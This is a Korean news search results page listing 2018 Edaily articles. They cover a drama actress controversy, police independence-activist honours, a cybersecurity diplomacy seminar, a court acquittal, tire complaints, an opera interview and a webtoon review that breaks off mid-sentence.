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뉴스 검색결과 802건

류화영, 잘 나가는 '뷰티인사이드'에 재 뿌리기?…갑작스런 복귀에 시청자 '싸늘'
  • 류화영, 잘 나가는 '뷰티인사이드'에 재 뿌리기?…갑작스런 복귀에 시청자 '싸늘'
  • (사진=JTBC ‘뷰티인사이드’)[이데일리 김민정 기자] 배우 류화영이 엘제이와의 논란 이후 드라마 ‘뷰디인사이드’에 출연하며 방송 복귀를 알렸다.지난 9일 방송된 JTBC ‘뷰티인사이드’에는 한세계(서현진 분)가 자신이 출연하고 싶은 영화에 거절당하자 직접 감독을 만나러 가는 모습이 그려졌다.이때 감독과 얘기를 나누던 배우는 바로 최유리(류화영 분)였다. 한세계는 자신의 라이벌인 최유리 앞에서 매몰차게 거절당하는 모습으로 안타까움을 자아냈다.특히 이날 류화영의 등장에 시청자들은 반갑지 않다는 입장이다. 그는 지난달 엘제이와 열애 관련 진실 공방을 벌인 바 있다.엘제이가 SNS에 대량으로 공개한 커플 사진들로 열애설에 휩싸인 두 사람. 그러나 당시 류화영은 ‘친한 오빠’라며 전면부인했지만, 엘제이는 거듭 인터뷰를 통해 “2년여 교제한 엄연한 연인 사이”라는 입장을 고수했다.(사진=엘제이 SNS)열애설로 시작된 두 사람의 스캔들은 류화영이 데이트 폭력과 협박에 시달렸다고 폭로하면서 진흙탕 싸움으로 번졌다.류화영은 한 매체와의 인터뷰를 통해 엘제이와 사귄지 일주일만에 지인으로 남겠다고 이별을 통보했다고 밝혔다. 이어 그는 이별통보 이후 엘제이가 폭로하겠다고 협박했고 강제로 내 휴대폰을 압수하고, 가택침입을 하면서 경찰에 신고했다는 사실을 연이어 폭로했다.그러나 엘제이는 류화영이 말한 데이트폭력이나 가택침입 모두 거짓말이라고 밝혔다. 또한 그는 류화영의 남자문제로 인해서 화가 폭발해서 다툼을 벌였다고 설명했다. 두 사람의 계속된 진흙탕 싸움에 네티즌들 역시 불쾌함을 토로했고, 이후 엘제이가 류화영의 사진들을 SNS에서 삭제하며 사태가 진정 국면으로 접어든 바 있다.이같은 일이 발생한 지 불과 얼마 안 된 시점에서 류화영의 갑작스러운 방송 복귀가 네티즌들의 눈살을 또 한 번 찌푸리게 만들었다.현재 ‘뷰티 인사이드’는 드라마부문 1위에 오르며 뜨거운 화제성을 입증했다. 원작의 감성적인 결 위에 유쾌한 재미를 더한 ‘쌩판 초면 로맨스’는 단숨에 시청자들을 사로잡는 데 성공했다. 이에 네티즌들은 “아무런 해명도 없이 갑작스러운 등장이라니..보기 불편하네요” “뷰티인사이드 너무 재밌게 보고 있는데 류화영 등장은 갑분싸” “잘 나가는 드라마에 찬물 끼얹기” “드라마 때문에 월화만 기다리는데..그분이 등장할 줄은..” “아무리 사생활이라고 하지만 명백한 해명이 필요합니다” 등의 반응을 보이기도 했다.한편 10일 시청률 조사회사 닐슨 코리아에 따르면 9일 방송된 JTBC 월화극 ‘뷰티 인사이드’ 4회는 4.331%(전국 유료가구 기준)의 시청률을 기록했다. (사진=JTBC ‘뷰티인사이드’)
2018.10.10 I 김민정 기자
경찰, 독립운동가 출신 경찰관 5명 '독립유공자' 서훈 추진
  • 경찰, 독립운동가 출신 경찰관 5명 '독립유공자' 서훈 추진
  • 고(故) 문형순 성산포경찰서장 (사진=경찰청)[이데일리 김성훈 기자] 경찰이 일제 강점기 때 독립운동가로 활동했지만 독립 유공 서훈을 받지 못한 경찰관들에 대한 유공자 등재를 추진한다.경찰청은 새롭게 수집한 자료들을 바탕으로 미 서훈 독립운동가 출신 경찰관 5명의 독립유공자 심사를 국가보훈처에 요청했다고 5일 밝혔다. 지난 8월 ‘올해의 경찰 영웅’으로 뽑힌 독립운동가 출신 고(故) 문형순(사진) 성산포경찰서장이 대표적 인물로 꼽힌다. 그는 한평생 독립운동에 헌신했지만 입증 자료가 부족해 독립유공자로 인정받지 못했다.경찰청은 최근 찾아낸 문 서장의 인사기록과 신흥무관학교 졸업생 명부 등을 보훈처에 보내 독립유공 재심사를 요청했다. 경찰은 특히 광복 이후 경찰에 투신해 활동한 독립운동가 출신 여성 경찰관들에 대한 독립유공자 심사도 함께 추진한다. 임시정부 의정원 경상도 대의원을 맡았던 양한나 수도여자경찰서장은 상해와 국내를 오가며 독립운동 자금을 모금해 전달했다. 도산 안창호 선생의 조카딸이기도 한 안맥결 서울여자경찰서장도 독립운동을 하다 만삭의 몸으로 옥고를 치른 여성 독립투사였지만 독립유공자로 인정받지 못했다. 이양전 부산여자경찰서장은 동료들과 경성여고보(현 경기여고) 내 비밀단체를 만들어 3·1운동에 참여하는 한편 동경 유학생들의 독립선언 1주년 축하 만세시위에 참가했다 투옥됐지만 서훈을 받지 못한 것으로 알려졌다. 경찰청은 최근 안맥결 서장이 독립운동 자금을 모금해 임시정부에 전달하던 단체인 ‘결백단(潔白團)’ 단원이었다는 사실을 확인하고 보훈처에 관련 자료를 전달했다. 경찰은 이 밖에도 최능진 경무부 수사국장의 독립유공자 심사도 요청했다. 최 국장은 독립운동 활동 중 ‘수양동우회’ 사건으로 안창호 선생, 조병옥 박사와 함께 2년간 옥고를 치렀다. 경찰 관계자는 “발굴한 독립운동가 경찰관 총 14명 가운데 이미 독립유공자로 등록된 사람은 총 9명”이라며 “앞으로도 독립운동가 출신 경찰관들을 지속적으로 발굴해 경찰정신의 표상으로 삼을 계획”이라고 말했다. 최능진 수사국장 일제경찰 감시카드 (자료=경찰청)
2018.10.03 I 김성훈 기자
"사이버 안보, 미·중 냉전구도 속 한국 역할 고민해야"
  • "사이버 안보, 미·중 냉전구도 속 한국 역할 고민해야"
  • 20일 국회도서관 4층 국회 입법조사처 대회의실에서 열린 ‘사이버 안보의 국가전략 2.0’ 세미나에서 참석자들이 이야기를 나누고 있다. 왼쪽부터 신용우 국회입법조사처 연구원, 김소정 국가보안기술연구소 실장, 김유향 국회 입법조사처 팀장, 김상배 서울대 국제문제연구소장, 유인태 전북대 교수, 조현석 서울과학기술대 교수, 유준구 국립외교원 교수. 사진=이재운기자[이데일리 이재운 기자] “미국이 인공위성을 통한 중국의 해킹 공격을 우려하고 있습니다. 우리도 이제 기존 양자 관점을 넘어 새로운 사이버 안보 환경에 대한 접근을 해야 합니다”사이버 공간에서 새로운 ‘냉전’ 양상이 격화되는 흐름 속에서, 우리나라의 외교 전략에 해킹 공격 등에 대한 사이버 안보 요소를 체계화하는 방안에 대한 심층 논의가 진행되고 있다. 전문가들은 우리도 기존 북한 대응 중심에서 이제 다자 외교 구도 속에서 우리의 입지를 다지는데 주력해야한다는 점을 강조했다.20일 국회도서관 입법조사처 대회의실에서 열린 ‘사이버 안보의 국가전략 2.0’ 세미나에서 문덕호 외교부 국제안보대사는 “사이버 안보가 기존의 단순 해킹을 넘어 국가의 전략적 목표 달성을 위한 공격·방어 수단이 되고 있다”며 “이제 사이버 안보 능력이 한 나라의 국력을 결정하는 중요한 요소”라고 말했다.특히 중국이 인공위성을 마비시켜 사회 기반시설에 타격을 주는 실험에 성공하면서, 미국이 우주와 사이버 전장을 하나로 보는 추세가 사이버전 전담 조직 창설로 이어졌다는 점을 강조했다.문 대사는 다자간·양자간 협의 과정에서 국가마다 입장이 많이 다르고, 민주적 가치를 중시하는 서방 세계와 권위주의가 강한 일부 국가 사이에도 차이가 크다며 한국도 그 사이에서 전략적인 입장과 방향성을 정립할 필요가 있다고 밝혔다. 또 사이버안보 강국으로 평가받는 10여개 국가와 협의를 이어가고 있으며, 각종 국제기구의 관련 규범 논의에도 적극 참여하고 있다는 점도 덧붙였다.다만 “외교부는 (국정원 등)다른 기관에 비해 사이버 안보 외교 역량이 부족한 상황”이라며 “많은 성원과 관심이 필요하다”고 말했다.김상배 서울대 국제문제연구소장(교수)은 “2년 전 1.0 버전 개념으로 행사를 한 뒤 이제 2.0 전략이 필요한 시점에 행사를 마련했다”며 세 가지 방향으로 △국내 한정이 아닌 국내와 국제 문제를 다 포괄하는 전략으로 대응체계를 마련하고 △각각의 프레임 내에서만 벌어지던 논의가 이제 프레임을 넘나들고 있는 점을 고려하고 △미-중, 미-러, 미-일 등 양자구도 속에서 한국 등 제3국의 입장과 역할을 고민해야 하는 점 등을 제시했다.나아가 국제 회의에 꾸준하고 다양하게 참석해야 하고, 이를 위해 충분한 인력 풀(Pool)을 확대할 필요가 있다고 덧붙였다.김소정 국가보안기술연구소 실장은 UN(국제연합) 산하 정부 사이버 안보 전문가 그룹인 GGE의 최근 동향을 소개했다. 김 실장은 “최근 열린 5차 회의에서 보고서 채택이 부결되면서 보다 쉽게 해결 가능한 주제에 대한 논의가 이어질 것으로 보인다”며 “UN GGE 이외의 플랫폼(국제기구)간 경쟁이 일어나면서 이에 따른 전략이 필요하다”고 말했다.유인태 전북대 교수는 “각 플랫폼별 성격을 정확히 파악하고 대응해야 한다”며 “성격에 따라 ‘Security’라는 표현의 의미가 안보, 보안기술, 안전 등 의미가 다양해질 수 있다는 점을 고려해야 한다”고 설명했다.신용우 국회입법조사처 연구원(변호사)은 “사이버전은 대결 상황에서 어떻게 양해할 것인가에 대한 문제라면, 사이버 범죄는 국가간 협력이 중요한 문제로 서로 결이 다르다”며 “결을 달리해서 논의를 조절할 필요가 있다”고 말했다.이 밖에 ‘주변 강대국인 4망(網)의 사이버 안보 외교 전략’과 ‘유럽의 사이버 안보 국제규범과 외교전략’에 대해 차정미 연세대 교수와 이승주 중앙대 교수, 유지연 상명대 교수 등이 발표하고, 황지환 서울시립대 교수와 장노순 한라대 교수 등이 토론에서 의견을 나눴다.이 행사는 서울대 국제문제연구소와 국가보안기술연구소, 국회입법조사처, 이철희 국회의원(더불어민주당)실 등이 공동 주최했다.
2018.09.20 I 이재운 기자
'뷰티 인사이드' 안재현 첫 스틸 공개...'산소같은 남자'
  • '뷰티 인사이드' 안재현 첫 스틸 공개...'산소같은 남자'
  • [이데일리 스타in 박현택 기자] 안재현이 ‘뷰티 인사이드’에서 맑은 영혼의 신부 지망생으로 변신한다.10월 1일 첫 방송되는 JTBC 새 월화드라마 ‘뷰티 인사이드’(연출 송현욱, 극본 임메아리, 제작 스튜디오 앤 뉴, 용필름)측은 19일, 청량美 넘치는 안재현의 첫 스틸컷을 공개했다.‘뷰티 인사이드’는 한 달에 일주일 타인의 얼굴로 살아가는 한세계(서현진 분)와 일 년 열두 달 타인의 얼굴을 알아보지 못하는 서도재(이민기 분)의 조금은 특별한 쌩판 초면 로맨스를 그린다. 신드롬을 불러일으키며 큰 사랑을 받은 ‘또 오해영’의 송현욱 PD와 참신한 필력의 임메아리 작가가 의기투합했다.1년 만에 드라마로 복귀하는 안재현은 깨끗하고 맑은 영혼을 지닌 ‘신부 지망생’ 류은호로 분해 여심 저격에 나선다. 숲처럼 고요하고 청량한 기운을 품은 심성에 극강의 비주얼까지 장착, 존재 자체가 힐링인 ‘인간 포카리’. 의외의 엉뚱함이 사랑스러운 반전 매력의 소유자인 류은호는 한세계의 비밀을 오랜 세월 지켜준 단짝 친구다. 사사건건 한세계를 곤경에 빠뜨리며 비밀을 캐내려는 ‘야망녀’ 강사라(이다희 분)를 만나며 마음의 변화를 맞게 되는 인물이다.공개된 사진 속 안재현은 청량하고 부드러운 분위기로 단번에 시선을 사로잡는다. 티끌 한 점 없는 순수 영혼 류은호와 200%의 싱크로율을 뽐내는 안재현의 비주얼은 기대 심리를 자극한다. 신학대학에 다니기 위해 온갖 아르바이트를 섭렵한 류은호. 카페부터 집안일까지 정통한 ‘파워 알바몬’의 면모를 담은 스틸컷은 류은호 캐릭터에 대한 궁금증을 한층 더 높인다. 살짝 띤 미소만으로 주변을 화사하게 만드는 ‘만찢 비주얼’은 류은호로 변신할 안재현의 활약에 기대감을 높인다.여러 작품에서 개성 뚜렷한 매력을 선보여 온 안재현은 류은호 역을 통해 또 다른 얼굴을 선보인다. 무엇보다 한 달에 한 번 타인의 얼굴로 바뀌는 한세계와는 티격태격 절친 케미로, 야망 넘치는 강사라와는 극과 극 반전 케미로 설렘 지수를 높인다. ‘야망녀’ 강사라와 순도 200%의 영혼을 지닌 류은호가 펼칠 엉뚱하고도 사랑스러운 로맨스 케미는 ‘뷰티 인사이드’의 빼놓을 수 없는 관전 포인트가 될 전망이다. 달라도 너무 다른 두 남녀의 끌림이 어떤 설렘을 선사할지 벌써부터 기대를 높인다.‘뷰티 인사이드’ 제작진은 “류은호는 안재현 맞춤 캐릭터라 할 정도로 완벽한 싱크로율을 선보이고 있다. 순수하지만 의외의 엉뚱한 매력이 사랑스러운 류은호 캐릭터를 안재현 특유의 개성으로 잘 녹여내고 있다. 이번 ‘뷰티 인사이드’를 통해 안재현의 색다른 매력을 볼 수 있을 것”이라고 기대감을 높였다.‘뷰티 인사이드’는 얼굴이 바뀌는 원작의 설정을 여자주인공으로 변주해 색다른 재미를 선사한다. 일정한 주기가 되면 다른 사람이 되는 여자와 유일하게 그녀만을 알아보는 안면인식장애 남자의 로맨스는 원작이 가진 감성적인 결 위에 유쾌함과 공감을 불어넣어 차별화된 로맨틱 코미디의 탄생을 기대케 한다.
2018.09.19 I 박현택 기자
10대 친구 딸 성추행 혐의 '무죄'…곰탕집 성추행과 다른 결론
  • 10대 친구 딸 성추행 혐의 '무죄'…곰탕집 성추행과 다른 결론
  • [이데일리 방인권 기자] 법조-서울중앙지방법원[이데일리 송승현 기자] 강제추행을 한 혐의로 재판에 넘겨진 60대 남성이 2심에서 1심과 마찬가지로 무죄를 선고받았다. 최근 피해자 진술을 결정적 증거로 삼아 실형을 선고한 이른바 ‘곰탕집 성추행’ 사건과는 대비되는 판결이다. 법조계에서는 피해자 진술의 신빙성 여부가 유·무죄를 가른 배경이라 평가했다. 16일 법조계에 따르면 서울고법 형사12부(재판장 홍동기)는 아동·청소년의 성 보호에 관한 법률 위반(강제추행) 혐의로 재판에 넘겨진 A(67)씨에게 1심과 마찬가지로 무죄를 선고했다.A씨는 지난해 10월 인천의 한 버스정류장에서 자신의 10대 딸과 같은 학교에 다니는 B양의 엉덩이를 손으로 한 차례 만진 혐의로 기소됐다. A씨는 장애를 가진 딸이 또래들에게 따돌림을 당하자 하굣길에 동행했던 것으로 알려졌다.B양과 현장에 같이 있던 친구들은 A씨가 이상한 눈빛으로 자신들을 쳐다봤다며 성추행범으로 A씨를 지목했다. 현장에 폐쇄회로(CC)TV가 없는 등 뚜렷한 증거가 없는 상황에서 B양과 친구들의 진술은 A씨가 기소되는데 결정적 증거로 작용했다.하지만 1심에서 이들의 진술은 흔들렸다. B양은 “A씨가 만진 것 같다” 등과 같은 추측성 진술로 일관했다. B양의 친구들도 “우리끼리 그렇게 (목격했다고) 하기로 했었다”는 취지로 증언했다.1심은 B양 등의 진술이 신빙성이 없다고 판단했다. 1심 재판부는 “검찰의 증거만으로 유죄를 인정하기 어렵다”고 무죄를 선고했다.검찰은 이에 불복해 항소를 제기했지만 2심 판단 역시 달라지지 않았다. 2심 재판부는 “당초 목격자가 (진술에 비춰보면) 실제로는 엉덩이를 만지는 것을 보지 못했다”며 “유죄의 근거가 부족하다”고 판단했다.남편의 강제추행 실형 선고가 억울하다는 내용의 청와대 국민청원 (사진= 청와대 국민청원 페이지)이 판결은 최근 부산지법 동부지원이 강제추행 혐의를 받는 C씨에게 징역 6월의 실형을 선고하고 법정구속한 이른바 ‘곰탕집 성추행’ 사건과는 결을 달리한다. 지난해 11월 발생한 C씨 사건 역시 피해자의 진술이 유력한 증거로 작용했다. 재판부는 “C씨 행동에 대한 피해자의 진술이 일관되고 구체적이다”라고 판단해 유죄를 인정했다.이 판결을 두고 C씨의 아내가 지난 6일 ‘남편의 억울함을 풀어달라’고 청와대 국민청원 글을 올리면서 유·무죄 논쟁이 퍼지기도 했다. 해당 글은 개재 나흘 만에 24만 5000여명의 동의를 얻기도 했다.법조계 관계자는 “성범죄의 경우 구체적 증거가 없는 경우가 많아 피해자의 진술이 중요하다”며 “특히 강제추행의 경우는 피해자의 진술이 얼마나 일관되고 구체적인지를 보고 신빙성을 따진다”고 말했다.‘곰탕집 성추행’ 사건 CCTV 영상에서 피해자 B씨 측의 한 남성이 가해자 A씨와 몸싸움을 벌이고 있다 (사진=유튜브 인사이트 채널 캡처)
2018.09.16 I 송승현 기자
"사람이 어떻게 변하니'…'뷰티 인사이드' 티저 포스터 첫 공개
  • "사람이 어떻게 변하니'…'뷰티 인사이드' 티저 포스터 첫 공개
  • [이데일리 스타in 박미애 기자]‘뷰티 인사이드’가 티저 포스터를 첫 공개했다. JTBC 새 월화 미니시리즈 ‘뷰티 인사이드’(극본 임메아리, 연출 송현욱, 제작 스튜디오 앤 뉴, 용필름)는 한 달에 한번 타인의 얼굴로 살아가는 한세계(서현진 분)의 특급 비밀이 담긴 티저 포스터를 공개했다. ‘뷰티 인사이드’는 한 달에 한 번 타인의 얼굴로 살아가는 여자와 일 년 열두 달 타인의 얼굴을 알아보지 못하는 남자의 특별한 로맨스를 그린다. 설렘 지수를 높이고 공감을 더하는 ‘로코 치트키’ 서현진과 이민기의 만남에 이어 ‘대체 불가 매력’의 이다희와 안재현까지 합류해 기대를 더한다.공개된 티저 포스터는 레드카펫 위 쏟아지는 스포트라이트를 받으며 여신의 자태를 뽐내는 톱스타 한세계의 미소가 시선을 홀린다. 화려한 레드카펫 아래 관중들은 한세계의 모습을 포착하기 바쁜데 이들의 휴대폰 화면에 담긴 것은 한세계가 아닌 각기 다른 타인의 모습. 한 달에 한 번 타인의 얼굴로 살아가는 한세계의 비밀을 감각적으로 담아낸 티저 포스터는 그 신비로운 분위기만으로도 호기심을 증폭시킨다. 여기에 “사람이 어떻게 변하니?”라는 문구는 한세계만을 알아보게 될 안면인식장애 남자 서도재(이민기 분)와의 특별한 로맨스를 기대하게 만들기 충분하다. ‘뷰티 인사이드’는 205만명의 관객을 동원한 한효주 주연의 2015년 영화를 리메이크한 작품. 영화와 달리 드라마는 얼굴이 바뀌는 설정을 여자주인공로 변주해 색다른 재미를 선사할 전망이다. 일정한 주기가 되면 다른 사람이 되는 여자와 유일하게 그녀만을 알아보는 안면인식장애 남자의 로맨스는 원작이 가진 감성적인 결 위에 유쾌함과 공감을 불어넣어 차별화된 ‘로코’의 탄생을 기대케 한다. ‘뷰티 인사이드’는 ‘라이프’ 후속으로 오는 10월 1일 첫 방송된다.
2018.09.10 I 박미애 기자
싼타페 인스퍼레이션, 컨티넨탈타이어 함몰 문제없다?
  • 싼타페 인스퍼레이션, 컨티넨탈타이어 함몰 문제없다?
  • [이데일리 오토in] 카가이 남현수 기자= 현대자동차가 지난 6월 출시한 중형 SUV 싼타페 최고 트림인 인스퍼레이션이 타이어 품질 문제로 관련 동호회와 소비자로부터 불만이 커지고 있다. 품질 불량 논란을 낳고 있는 문제의 중심에는 이 차에 기본 장착된 독일 유 메이커인 컨티넨탈 타이어의 눌림 현상이 등장한다. 각종 싼타페 동호회 카페에는 콘티넨탈 타이어 눌림 현상에 대한 불만이 수 십개 이상 올라오고 있다. 싼타페 오너들이 올린 타이어 사진에는 눈에 띄게 움푹 패인 모습을 볼 수 있다. 한 회원은 “타이어 움푹 파진 현상이 심각해 현대자동차 공식서비스센터와 콘티넨탈 타이어 대리점에 찾아가 문제를 제기하면 '타이어 접합부에 생기는 자연스러운 현상으로 콘티넨탈 타이어뿐 아니라 국산 다른 타이어에서도 발생하는 지극히 정상적인 모습'이라는 답변만 들을 수 있었다”며 타이어가 혹시 고속 주행중 문제가 생길까봐 걱정“이라고 호소했다.싼타페 인스퍼레이션 모델을 소유하고 있는 또 다른 회원은 “외관상 찌그러지고 기능에는 이상이 없다고 해도 주행 중 불안감은 숨길 수 없다”며 역시 불만을 토로했다. 또 다른 회원도 “주행중 파손될까봐 콘티넨탈 타이어 대신 국산 타이어로 교체했다”며 “불안하게 주행하느니 속 편하게 타이어를 교체했다”고 말했다. 타이어 업계에서는 이런 함몰 현상을 ‘사이드월 요철현상(sidewall indentation)’이라고 부른다. 이는 타이어 제작 과정에서 발생한다. 타이어 내부의 카커스(Carcass)부분이 중첩되며 일어나는 증상이다. 안전에는 지장이 없다고 알려져 있지만 대다수 소비자들은 일단 함몰된 외관에 두려움을 느끼고 있다. 이에 대해 현대자동차 직영 서비스센터에 가면 확인 후 증상이 심할 경우에 한 해서 타이어를 교체 해주고 있다. 소비자가 강력한 항의를 해야 그나마 응대해 줄 정도로 정확한 기준이 없다는 게 문제다. 기자가 통화한 현대차 직영 서비스센터 관계자는 “타이어는 아무런 문제가 없는 정상 상태지만 소비자 만족 차원에서 교체를 해 준 것”이라고 답했다. 주행에 문제는 없지만 소비자 만족 차원에 따른 서비스라는 얘기다. 현대자동차 중형 SUV 싼타페는 올해 2월 출시돼 세련된 디자인과 넓은 실내 공간으로 소비자들에게 인기몰이를 하고 있다. 5달 연속 국산차 전체 판매량 1위를 차지하며 고공행진 중이다. 현대자동차는 신형 싼타페를 출시한지 얼마 안 된 시점인 지난 6월 외관을 살짝 바꾼 새로운 등급의 4000만원대 인스퍼레이션 모델을 출시해 기존 소비자들의 반발을 샀다. 이 차는 기존 싼타페 최고 트림보다 비싼 가격으로 싼타페 최고급형을 구입한 소비자는 두 세달 만에 헌차를 구입한 모양이 된 셈이다. 인스퍼레이션 등급은 메탈릭 실버 커버 사이드미러, 리어와 프론트 스키드 플레이트를 바디 컬러와 동일하게 도색하는 등의 변화로 세련된 디자인을 완성했다. 이에 걸맞게 타이어 역시 19인치 스퍼터링휠과 최고급형이라는 타이틀에 걸맞게(?) 국산 대신 독일 콘티넨탈 타이어를 적용했다. 결과적으로 국산 대신 독일 브랜드 19인치 타이어에 문제가 생긴 것이다. 싼타페는 인기 몰이와 더불어 대량 판매가 되면서 크고 작은 품질 불량으로 도마에 올랐다. 출시 초기 일부 차량에서 변속기 문제로 언덕을 잘 오르지 못하는 문제가 생겼다. 현대차 측은 처음에는 “문제가 없다”는 태도로 일관하다가 6월 초 문제를 인지하고 변속기 관련 소프트웨어를 업데이트하는 무상 수리를 진행했다. 또한 얼마 지나지 않아 디젤 엔진이 장착된 싼타페 일부 차종에서 인터쿨러 호스가 밀리는 현상이 일어났다. 현대자동차 측은 “생산 시 오장착을 예방하기 위해 조립 여유 공간을 뒀다”며 “약 8mm정도가 밀리는 현상은 정상”이라고 설명했다. 이후 이런 증상이 불안한 차주를 위해 재체결하는 등의 조치로 해결했다. 이번에는 타이어 함몰현상이다. 타이어의 기능상 문제가 없다고 하더라도 함몰 되는 이유에 대해 알지 못하는 소비자들은 불안에 떨 수 밖에 없다. 타이어 함몰 증상에 대해서 더 늦기전에 현대차의 적극적인 설명과 서비스가 필요할 것으로 보인다.
2018.09.03 I 남현수 기자
김정미 “‘메조’가 빛나는 ‘코지 판 투테’로 초대합니다”
  • 김정미 “‘메조’가 빛나는 ‘코지 판 투테’로 초대합니다”
  • 메조소프라노 김정미가 27일 서울 서초구 예술의전당에서 이데일리와 인터뷰를 갖고 있다.(사진=신태현 기자)[이데일리 이정현 기자] “변화무쌍한 메조소프라노의 매력에 빠지면 못 헤어나오죠.”메조소프라노의 ‘메조’는 이탈리아어로 ‘반’이라는 뜻이다. 고음의 소프라노와 콘트랄로 사이의 음역인 여성 성악가를 말한다. 소프라노보다 음역이 낮아 오페라에서 주역보다는 조연을 맡는 경우가 많다. 27일 서울 서초구 서초동 예술의전당에서 만난 김정미 메조소프라노는 “낮은 음역에서 아름다운 소리를 내는 메조소프라노만의 매력이 있다”며 “소프라노가 할 수 없는 소년부터 할머니까지, 다양한 작품에서 여러 결의 캐릭터를 연기할 수 있는 게 매력”이라고 말했다.내달 6일부터 9일까지 예술의전당 오페라극장에서 공연하는 오페라 ‘코지 판 투테’는 메조소프라노가 주역이다. 김정미 메조소프라노가 연기하는 도나벨라다. 모차르트가 쓴 3대 부파 중 하나로 나이 많고 부유한 알폰소가 두 청년에게 약혼녀의 사랑을 시험하는 내기를 제안하며 벌어지는 소동을 유쾌하게 풀었다. 벨기에에서 온 지휘자 다비드 레일랑과 이탈리아 출신의 연출가 니콜라 베를로파의 리드로 3개월 전부터 준비를 시작해 이제 막바지다. 김정미 메조소프라노는 어느 때보다 살뜰하게 준비를 한 작품이라며 기대를 당부했다. 중성적이거나 남장을 필요한 역할이 아닌 역을 맡은 것도 오랜만이라 스스로 기대하는 바가 있다. “화려하고 허영심 넘치는 도시에서 벌어지는 여섯 남녀의 이야기에요. 즐겁고 유쾌한 작품이지만 필요 이상으로 들떠 보이지 않으려 노력하고 있죠. 무대를 300년 전의 나폴리가 아닌 1950년대 미국으로 옮긴 것도 흥미로워요. 할리우드의 메릴린 먼로나 엘리자베스 테일러가 튀어나올 듯한 무대 세트가 인상적입니다. 개인적으로 그레이스 켈리가 입었던 웨딩드레스를 오마주한 의상을 입는 걸 제일 기대해요.”김정미 메조소프라노는 2009년 스위스 제네바 콩쿠르에서 입상하며 대중에 이름을 알렸다. 인재가 귀한 메조소프라노에서 중심 역할을 하며 한국 오페라가 자랑하는 성악가로 자리잡았다. 국내를 포함해 전 세계를 누비며 활동한 그는 공연을 앞둔 ‘코지 판 투테’를 포함해 국립오페라단의 ‘카르멘’ ‘로미오와 줄리엣’ 등에서 중심 역할을 도맡았다. 내년에는 대만에 진출해 타이베이 국립오케스트라와 공연할 예정이다.그는 소프라노보다 덜 주목받는 것에 아쉽지 않느냐는 말에 “메조소프라노의 아리아도 충분히 매력적이다”라고 답했다. “아름다운 고음이 필요한 ‘라 트라비아타’나 ‘비올레타’의 아리아를 부르는 걸 보면 부럽지만 메조소프라노도 못잖다”며 “가장 아름다운 소리를 내는 음역이 다른 게 메조소프라노와 소프라노의 차이”라고 설명했다.“오페라는 노래를 예쁘고 잘 부르는 게 전부가 아닙니다. 맡은 캐릭터의 감정과 상황을 이해하고 표현할 수 있어야 하죠. 오페라는 종합예술이자 클래식의 꽃이에요. 오페라의 텍스트를 이해하려면 문학적이고 철학적인 소양이 밑바탕에 있어야 합니다. 한국을 비롯해 많은 동양인이 전세계 성악 콩쿠르를 호령하지만 정작 현지에서 공연하는 오페라에 잘 오르지 못하는 이유이기도 하죠. 대중화하기 어렵지만 조금만 관심을 두면 새로운 오페라의 세계가 펼쳐질 거에요.”메조소프라노 김정미가 굴리엘모 역의 베이스바리톤 우경식과 함께 오페라 ‘코지 판 투테’를 연습하고 있다.(사진=국립오페라단)
2018.08.28 I 이정현 기자
시각장애인의 ‘잔잔한 사랑’… 레진코믹스 ‘홍콩안마시술소’
  • [김정유의 웹툰파헤치기]시각장애인의 ‘잔잔한 사랑’… 레진코믹스 ‘홍콩안마시술소’
  • [이데일리 김정유 기자] 국내 웹툰시장이 최근 급격히 외형을 키우고 있다. 신생 웹툰 플랫폼이 대거 생기면서 기존의 포털 웹툰과는 다른 다양한 작품들이 독자들에게 소개되고 있다. 전연령이 보는 작품부터 성인용까지 다양한 스펙트럼을 갖고 있는 유료 웹툰들이 독자층도 점차 넓혀가고 있는 모습이다. 단순 만화를 넘어 문화로까지 확대될 수 있는 대표 콘텐츠, 국내 웹툰 작품들을 낱낱이 파헤쳐 본다.(주의:일부 스포일러를 담고 있습니다)시각장애인 정민(왼쪽)과 안마시술사 사랑. ‘홍콩안마시술소’를 이끌어가는 두 주인공이다. (그림=레진엔터테인먼트)◇레진코믹스 ‘홍콩안마시술소’우리 사회에서 안마시술소는 부정적인 이미지가 크다. 단순 안마가 아닌, 성적인 불법 행위가 만연하게 이뤄지는 곳이라는 인식이 많아서다. 때문에 ‘안마시술소’라는 이름이 들어간 콘텐츠 역시 비슷한 시각으로 바라보는 경우가 많다. 레진코믹스의 ‘홍콩안마시술소’ 역시 첫 이미지는 비슷하다. 웹툰 제목에 안마시술소가 들어간만큼 처음엔 성인용 작품의 냄새를 풍겼다. 하지만 뚜껑을 열어보니 분위기는 정반대. 성적인 콘텐츠가 아닌, 지극히 서정적인 스토리로 독자들의 감성을 채워주는 웹툰이었다. 레진코믹스의 ‘홍콩안마시술소’는 시각장애인 안마사 정민에게 찾아온 사랑을 다룬 작품이다. 시각장애인 정민은 홍콩안마시술소에서 숙식을 하며 손님들에게 안마를 제공한다. 이 곳은 다른(?) 행위를 하는 여성 안마사들도 있다. 정민은 여성 안마사들을 기다리는 손님들은 사전에 간단히 안마해주는 역할을 한다. 눈이 보이지 않는 정민은 손님들에게 여러 이야기를 듣는다. 간단한 말로 손님들을 위로하면 그의 일은 끝이다. 이런 정민에게 같은 곳에서 근무하는 여성 안마사 사랑이 찾아온다. 사랑은 가명. 정민은 사랑을 처음 만난 날 긴장한 나머지 ‘안마 해드릴까요’라는 엉뚱한 말을 하게 된다. 정민은 사랑의 숨소리, 발소리, 머리 냄새, 귤 껍질 냄새로 그녀가 아름답다고 생각한다. 사랑 역시 영혼이 맑은 정민을 보고 자신의 빈자리를 조금씩 채워나간다. 정민과 사랑은 이후 함께 식당에서 밥을 먹거나 라디오에 신청곡을 보내거나 믹스커피를 마시며 시간을 보낸다. 그렇게 두 사람은 서로에게 부족한 부분을 채워준다.하지만 어느 날 찾아온 불청객으로 인해 두 사람의 행복한 시간은 끝이 난다. 이 사람은 사랑의 옛 연인으로 추정되는 인물로 사랑의 과거를 알고 있다. 결국 두 사람이 만나면서 일이 생겼다. 불청객은 사랑을 우발적으로 죽이게 된다. 고향도 이름도 모르는 사랑의 죽음은 달리 보면 덮어버리기에도 손 쉬운 일. 안마시술소 직원들은 이를 은폐하려한다. 하지만 정민에게 사랑의 존재는 다르다. 정민은 끝까지 세상에 돌아오지 못할 사랑을 기다리며 자신만의 사랑을 이끌어간다. 그렇게 이 웹툰은 잔잔하게 끝이 난다.‘홍콩안마시술소’를 그린 성준 작가는 이들을 따뜻한 시선으로 바라보며 스토리를 전개한다. 이 웹툰은 절제된 글과 그림으로 한 편의 책을 읽은 듯한 느낌을 독자들에게 제공한다. 독자들에게 긴 여운을 남기게 하는 